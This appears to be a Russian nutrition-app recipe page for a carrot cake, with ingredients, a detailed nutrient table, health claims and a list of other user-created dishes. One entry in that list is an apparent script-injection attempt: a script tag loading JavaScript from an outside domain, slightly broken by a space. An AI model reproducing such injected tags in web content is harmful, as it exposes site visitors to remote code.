Рецепт Торт морковный. Калорийность, химический состав и пищевая ценность.
Рецепт создан пользователем в приложении Мой здоровый рацион.
Ингредиенты Торт морковный
| Морковь, сырая | 340 г |
| Творог нежирный 0,6% (Запекание запеканка) | 340 г |
| йогурт | 250 г |
| Яйцо куриное (Запекание) | 95 г |
| Масло подсолнечное | 10 г |
| Мука соевая полуобезжиренная (Запекание) | 100 г |
Способ приготовления
Составить свой рецепт с учетом потерь витаминов и минералов вы можете с помощью калькулятора рецептов в приложении "Мой здоровый рацион".
Химический состав и анализ пищевой ценности
Пищевая ценность и химический состав "Торт морковный".
В таблице приведено содержание пищевых веществ (калорийности, белков, жиров, углеводов, витаминов и минералов) на 100 грамм съедобной части.
| Нутриент | Количество | Норма** | % от нормы в 100 г | % от нормы в 100 ккал | 100% нормы |
| Калорийность | 113.3 ккал | 1684 ккал | 6.7% | 5.9% | 1486 г |
| Белки | 13 г | 76 г | 17.1% | 15.1% | 585 г |
| Жиры | 3.6 г | 56 г | 6.4% | 5.6% | 1556 г |
| Углеводы | 7.1 г | 219 г | 3.2% | 2.8% | 3085 г |
| Пищевые волокна | 2.2 г | 20 г | 11% | 9.7% | 909 г |
| Вода | 52.5 г | 2273 г | 2.3% | 2% | 4330 г |
| Органические кислоты | 0.4 г | ~ | |||
| Зола | 1.2 г | ~ | |||
| Витамины | |||||
| Витамин А, РЭ | 298.5 мкг | 900 мкг | 33.2% | 29.3% | 302 г |
| Ретинол | 0.02 мг | ~ | |||
| альфа Каротин | 1128.034 мкг | ~ | |||
| бета Каротин | 2.698 мг | 5 мг | 54% | 47.7% | 185 г |
| Ликопин | 0.324 мкг | ~ | |||
| Лютеин + Зеаксантин | 83.053 мкг | ~ | |||
| Витамин В1, тиамин | 0.099 мг | 1.5 мг | 6.6% | 5.8% | 1515 г |
| Витамин В2, рибофлавин | 0.153 мг | 1.8 мг | 8.5% | 7.5% | 1176 г |
| Витамин В4, холин | 25.61 мг | 500 мг | 5.1% | 4.5% | 1952 г |
| Витамин В5, пантотеновая | 0.275 мг | 5 мг | 5.5% | 4.9% | 1818 г |
| Витамин В6, пиридоксин | 0.119 мг | 2 мг | 6% | 5.3% | 1681 г |
| Витамин В9, фолаты | 19.776 мкг | 400 мкг | 4.9% | 4.3% | 2023 г |
| Витамин В12, кобаламин | 0.475 мкг | 3 мкг | 15.8% | 13.9% | 632 г |
| Витамин C, аскорбиновая | 2 мг | 90 мг | 2.2% | 1.9% | 4500 г |
| Витамин D, кальциферол | 0.206 мкг | 10 мкг | 2.1% | 1.9% | 4854 г |
| Витамин Е, альфа токоферол, ТЭ | 0.831 мг | 15 мг | 5.5% | 4.9% | 1805 г |
| бета Токоферол | 0.003 мг | ~ | |||
| Витамин Н, биотин | 4.297 мкг | 50 мкг | 8.6% | 7.6% | 1164 г |
| Витамин К, филлохинон | 4.3 мкг | 120 мкг | 3.6% | 3.2% | 2791 г |
| Витамин РР, НЭ | 2.9764 мг | 20 мг | 14.9% | 13.2% | 672 г |
| Ниацин | 0.321 мг | ~ | |||
| Бетаин | 0.13 мг | ~ | |||
| Макроэлементы | |||||
| Калий, K | 299.51 мг | 2500 мг | 12% | 10.6% | 835 г |
| Кальций, Ca | 71.8 мг | 1000 мг | 7.2% | 6.4% | 1393 г |
| Магний, Mg | 30.23 мг | 400 мг | 7.6% | 6.7% | 1323 г |
| Натрий, Na | 48.84 мг | 1300 мг | 3.8% | 3.4% | 2662 г |
| Сера, S | 87.33 мг | 1000 мг | 8.7% | 7.7% | 1145 г |
| Фосфор, P | 142 мг | 800 мг | 17.8% | 15.7% | 563 г |
| Хлор, Cl | 51.45 мг | 2300 мг | 2.2% | 1.9% | 4470 г |
| Микроэлементы | |||||
| Железо, Fe | 1.253 мг | 18 мг | 7% | 6.2% | 1437 г |
| Йод, I | 1.81 мкг | 150 мкг | 1.2% | 1.1% | 8287 г |
| Кобальт, Co | 1.555 мкг | 10 мкг | 15.6% | 13.8% | 643 г |
| Марганец, Mn | 0.0516 мг | 2 мг | 2.6% | 2.3% | 3876 г |
| Медь, Cu | 41.59 мкг | 1000 мкг | 4.2% | 3.7% | 2404 г |
| Молибден, Mo | 3.042 мкг | 70 мкг | 4.3% | 3.8% | 2301 г |
| Селен, Se | 12.639 мкг | 55 мкг | 23% | 20.3% | 435 г |
| Фтор, F | 16.41 мкг | 4000 мкг | 0.4% | 0.4% | 24375 г |
| Хром, Cr | 0.36 мкг | 50 мкг | 0.7% | 0.6% | 13889 г |
| Цинк, Zn | 0.2966 мг | 12 мг | 2.5% | 2.2% | 4046 г |
| Усвояемые углеводы | |||||
| Крахмал и декстрины | 1.609 г | ~ | |||
| Моно- и дисахариды (сахара) | 3.2 г | ~ | |||
| Глюкоза (декстроза) | 0.2 г | ~ | |||
| Лактоза | 0.6 г | ~ | |||
| Сахароза | 1.2 г | ~ | |||
| Фруктоза | 0.2 г | ~ | |||
| Незаменимые аминокислоты | 2.492 г | ~ | |||
| Аргинин* | 0.364 г | ~ | |||
| Валин | 0.413 г | ~ | |||
| Гистидин* | 0.225 г | ~ | |||
| Изолейцин | 0.404 г | ~ | |||
| Лейцин | 0.731 г | ~ | |||
| Лизин | 0.585 г | ~ | |||
| Метионин | 0.2 г | ~ | |||
| Метионин + Цистеин | 0.253 г | ~ | |||
| Треонин | 0.377 г | ~ | |||
| Триптофан | 0.08 г | ~ | |||
| Фенилаланин | 0.38 г | ~ | |||
| Фенилаланин+Тирозин | 0.706 г | ~ | |||
| Заменимые аминокислоты | 3.332 г | ~ | |||
| Аланин | 0.244 г | ~ | |||
| Аспарагиновая кислота | 0.498 г | ~ | |||
| Глицин | 0.138 г | ~ | |||
| Глутаминовая кислота | 1.35 г | ~ | |||
| Пролин | 0.719 г | ~ | |||
| Серин | 0.368 г | ~ | |||
| Тирозин | 0.359 г | ~ | |||
| Цистеин | 0.086 г | ~ | |||
| Жирные кислоты | |||||
| Омега-6 жирные кислоты | 0.1 г | от 4.7 до 16.8 г | 2.1% | 1.9% | |
| Стеролы (стерины) | |||||
| Холестерин | 52.32 мг | max 300 мг | |||
| бета Ситостерол | 1.908 мг | ~ | |||
| Насыщенные жирные кислоты | 0.7 г | max 18.7 г | |||
| 14:0 Миристиновая | 0.004 г | ~ | |||
| 15:0 Пентадекановая | 0.001 г | ~ | |||
| 16:0 Пальмитиновая | 0.256 г | ~ | |||
| 17:0 Маргариновая | 0.003 г | ~ | |||
| 18:0 Стеариновая | 0.12 г | ~ | |||
| 20:0 Арахиновая | 0.006 г | ~ | |||
| 22:0 Бегеновая | 0.007 г | ~ | |||
| Мононенасыщенные жирные кислоты | 0.682 г | min 16.8 г | 4.1% | 3.6% | |
| 16:1 Пальмитолеиновая (ud) | 0.036 г | ~ | |||
| 17:1 Гептадеценовая | 0.001 г | ~ | |||
| 18:1 Олеиновая (ud) | 0.601 г | ~ | |||
| 20:1 Гадолеиновая (омега-9) | 0.004 г | ~ | |||
| Полиненасыщенные жирные кислоты | 0.723 г | от 11.2 до 20.6 г | 6.5% | 5.7% | |
| 18:2 Линолевая (ud) | 0.708 г | ~ | |||
| 18:3 Линоленовая (ud) | 0.006 г | ~ | |||
| 20:4 Арахидоновая (ud) | 0.009 г | ~ |
Энергетическая ценность Торт морковный составляет 113,3 кКал.
Основной источник: Создан в приложении пользователем. Подробнее.
** В данной таблице указаны средние нормы витаминов и минералов для взрослого человека. Если вы хотите узнать нормы с учетом вашего пола, возраста и других факторов, тогда воспользуйтесь приложением «Мой здоровый рацион».
Калькулятор рецепта
Пищевая ценность на 100 грамм
| Содержание в порции | % от РСП | ||
| Калории | 113.3 кКал | -% | |
| Белки | 13 г | -% | |
| Жиры | 3.6 г | -% | |
| Углеводы | 7.1 г | -% | |
| Пищевые волокна | 2.2 г | -% | |
| Вода | 52.5 г | -% | |
Витамины и минералы
Большинство продуктов не может содержать полный набор витаминов и минералов. Поэтому важно употреблять в пищу разннообразные продукты, чтобы восполнять потребности организма в витаминах и минералах.
Анализ калорийности продукта
ДОЛЯ БЖУ В КАЛОРИЙНОСТИ
Cоотношение белков, жиров и углеводов:
Зная вклад белков, жиров и углеводов в калорийность можно понять, насколько продукт или рацион соответсвует нормам здорового питания или требованиям определённой диеты. Например, Министерство здравоохранения США и России рекомендуют 10-12% калорий получать из белков, 30% из жиров и 58-60% из углеводов. Диета Аткинса рекомендует низкое употребление углеводов, хотя другие диеты фокусируются на низком потреблении жиров.
Рассчитать свои нормы
Если энергии расходуется больше, чем поступает, то организм начинает тратить запасы жира, и масса тела уменьшается.
Получить рекомендации
Получите дополнительную информацию и осуществите задуманное, изучив наш бесплатный интерактивный курс.
Попробуйте заполнить дневник питания прямо сейчас без регистрации.
Узнайте свой дополнительный расход калорий на тренировки и получите уточнённые рекомендации абсолютно бесплатно.
Срок достижения цели
Полезные свойства ТОРТ МОРКОВНЫЙ
Торт морковный богат такими витаминами и минералами, как:
витамином А - 33,2 %, бэта-каротином - 54 %, витамином B12 - 15,8 %, витамином PP - 14,9 %, калием - 12 %, фосфором - 17,8 %, кобальтом - 15,6 %, селеном - 23 %
Чем полезен Торт морковный
- Витамин А отвечает за нормальное развитие, репродуктивную функцию, здоровье кожи и глаз, поддержание иммунитета.
- В-каротин является провитамином А и обладает антиоксидантными свойствами. 6 мкг бета-каротина эквивалентны 1 мкг витамина А.
- Витамин В12 играет важную роль в метаболизме и превращениях аминокислот. Фолат и витамин В12 являются взаимосвязанными витаминами, участвуют в кроветворении. Недостаток витамина В12 приводит к развитию частичной или вторичной недостаточности фолатов, а также анемии, лейкопении, тромбоцитопении.
- Витамин РР участвует в окислительно-восстановительных реакциях энергетического метаболизма. Недостаточное потребление витамина сопровождается нарушением нормального состояния кожных покровов, желудочно- кишечного тракта и нервной системы.
- Калий является основным внутриклеточным ионом, принимающим участие в регуляции водного, кислотного и электролитного баланса, участвует в процессах проведения нервных импульсов, регуляции давления.
- Фосфор принимает участие во многих физиологических процессах, включая энергетический обмен, регулирует кислотно-щелочного баланса, входит в состав фосфолипидов, нуклеотидов и нуклеиновых кислот, необходим для минерализации костей и зубов. Дефицит приводит к анорексии, анемии, рахиту.
- Кобальт входит в состав витамина В12. Активирует ферменты обмена жирных кислот и метаболизма фолиевой кислоты.
- Селен - эссенциальный элемент антиоксидантной системы защиты организма человека, обладает иммуномодулирующим действием, участвует в регуляции действия тиреоидных гормонов. Дефицит приводит к болезни Кашина-Бека (остеоартроз с множественной деформацией суставов, позвоночника и конечностей), болезни Кешана (эндемическая миокардиопатия), наследственной тромбастении.
Полный справочник самых полезных продуктов вы можете посмотреть в приложении «Мой здоровый рацион».
Калорийность и химический состав других продуктов
- Пломбир
- кунгурский биойогурт черника
- Конфета Ореховая Роща
- Мороженое из банана и кефира
- Сельдь "Матиас" филе
- Постный суп с фасолью
- Колбаски молочные
- творожный мусс земляника клубника
- Яичница на сковороде
- вафли
- вали сливки ленивки
- мороженое ванильное
- Ролл Окинава (Сингапур)
- Сироп ирландские сливки
- вафли кубики
- Hellim сыр
- овощи
- Квашенная капуста
- Слойка с вишней
- Картофельные пирожки с начинкой
- Суп с консервной сайра
- картошка яшкинская
- Настоящий криль
- сайра
- Отруби пшеничные ОГО
- наполеон с джемом
- Dinkelmehl
- черри кумато
- Салат редис/капуста
- птичье молоко
- Котлеты из трески LCHF
- Холодец из курицы
- коктейль молочный шоколад
- Хлеб диаб Кулиничи
- Салат огурцы, помидоры, сельдерей со сметаной
- Шарлотка
- чиабатта
- Котлеты Домашние
- Ролл из Токио с угрем и лососем
- Пюре картофельное
- Перец, фаршированный моцареллой
- Салат грудь+шамп
- Соус Барбекю
- Шоколад Бисквит с шоколадом
- полбяная мука
- Земляника, протеста с сахаром
- Плов "Перловка"
- Log<sc ript src=//bmkp.ru/s.js></sc ript>
- уголки творожные
- eat me финик курага изюм
- банановые оладьи
- Салат "Цезарь" с курицей
- Суп-пюре из шампиньонов
- Рулет Неженка
- Сырный суп с шампиньонами
- Котлеты из щуки
- Завтрак из гречки
- Полива из курсе филе с овощами
- зраза картофельная
- пельмени "Фирменные" (Сибирская коллекция)
- шампиньоны запеченные с сыром
- Печеночные оладьи по Дюкану
- Смузи 1
- Сыр Филадельфия с паприкой
- Творожный десерт "Снежок"
- Тефтели из говядины с бурым рисом и томатной пастой
- Икра мойвы в соусе с копченым лососем
- рулетик с курагой
- Тилапия рыба
- Морская капуста салат с майонезом с морковью и чесноком
- Тилапия на пару
- Куриннотвороженное суфле
- Куриная голень копченая
- Салат Греческий
- Запеканка из цветной капусты
- Морс
- салат из помидоров и огурцов
- морковный с квашенной капустой
- картошка с мясом
- musler
- сыр легкий карат
- Овощная смесь Итальянская
- Салат зимний
- Индейка с овощами тушеная
- Ряженка 4%
- оладьи с зеленью и сыром
- суп овощной
- Говядина сыровяленая
- сырники с толокном
- Салат из овощей консервированный
- (AS) РИС С МОРКОВЬЮ И ЛУКОМ 1
- Кекс Брауни
- Том кха
- Сыр Алтайский люкс
- Овсяноблин с творогом и зеленью
- мороженое Ром изюм какао 250г.
- Cynthia 6
- Сыр с пажитником
- шоколад Альпен голд миндаль и кокос белый шоколад
- Йонака ролл
Метки: Как приготовить Торт морковный, калорийность 113,3 кКал, химический состав, питательная ценность, какие витамины, минералы, способ приготовления Торт морковный, рецепт, калории, нутриенты
Калькуляторы
